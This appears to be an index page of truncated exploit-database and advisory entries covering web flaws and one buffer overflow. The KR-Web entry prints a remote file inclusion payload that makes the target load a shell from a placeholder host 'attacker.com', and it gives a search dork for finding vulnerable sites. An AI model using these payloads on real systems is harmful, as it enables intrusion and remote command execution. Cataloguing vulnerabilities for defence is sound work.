kr-web 1.1b2 - Remote File Inclusion

kr-web 1.1b2 - Remote File Inclusion Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://server/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I...

KR-Web <= 1.1b2 Remote File Inclusion Vulnerability

No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web = 1.1b2 Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/krw/files/ Dork : die"Hacking attempt"; :D Vuln : ./KR-Web-1.1b2/adm/krgourl.php line 2 ?php include...

kr-web 1.1b2 - Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://server/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all member at...

Unfixed XSS vulnerability at kr-alumni.tau.ac.il

Security researcher k a n u r, has submitted on 18/01/2009 a cross-site-scripting XSS vulnerability affecting kr-alumni.tau.ac.il, which at the time of submission ranked 26393 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 20/01/2009. It is...

Unfixed XSS vulnerability at walden3.kr

Security researcher Langy, has submitted on 11/09/2008 a cross-site-scripting XSS vulnerability affecting walden3.kr, which at the time of submission ranked 756317 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/10/2008. It is currently...

mambogalleries-sql.txt

!/usr/bin/perl -w Mambo Component galleries v 1.0 Remote SQL Injection Found by : Houssamix From H-T Team H-T Team HouSSaMix + ToXiC350 Greetz : bugtr4cker & Stack & HaCkeREgY & Hak3r-b0y & All friends & All muslims HaCkeRs : ScriptName: "Mambo" ComponentName: galleries v 1.0 galleries 10/04/2006...

Mambo Component galleries 1.0 (aid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ Mambo Component galleries 1.0 aid Remote SQL Injection Exploit ================================================================ !/usr/bin/perl -w Mambo Component galleries v...

Mambo Component Galleries 1.0 - aid SQL Injection

Mambo Component Galleries 1.0 - aid SQL Injection !/usr/bin/perl -w Mambo Component galleries v 1.0 Remote SQL Injection Found by : Houssamix From H-T Team H-T Team HouSSaMix + ToXiC350 Greetz : bugtr4cker & Stack & HaCkeREgY & Hak3r-b0y & All friends & All muslims HaCkeRs : ScriptName: "Mambo"...

Mozilla Foundation Security Advisory 2008-13

Mozilla Foundation Security Advisory 2008-13 Title: Multiple XSS vulnerabilities from character encoding Impact: Moderate Announced: March 25, 2008 Reporter: Alexey Proskuryakov, Yosuke Hasegawa, Simon Montagu Products: Firefox, Thunderbird, SeaMonkey Fixed in: Firefox 2.0.0.12 Thunderbird 2.0.0....

Microsoft SQL Server - Distributed Management Objects Buffer Overflow

Code Execute + Tested Operating System: Windows XP SP2 KR, Windows 2000 Pro SP4 KR + Tested Software: MSDE 2000 SQLDMO.dll version 2000.80.760.0 + Reference & Thanks : code by rgod http://www.milw0rm.com/exploits/4379 code by Trirat Puttaraksa http://www.milw0rm.com/exploits/2426 + Author: 96sysi...

One more flaw in Happymall

Happymall E-Commerce Directory Transversal Bug and Cross-site scripting Vendor: Happycgi.com Product: Happymall Versions: 4.3, 4.4 patched version too 'normalhtml.cgi' doesn't filter user-supplied input. The well-known directory transversal and cross-site scripting XSS vulnerabilities are present...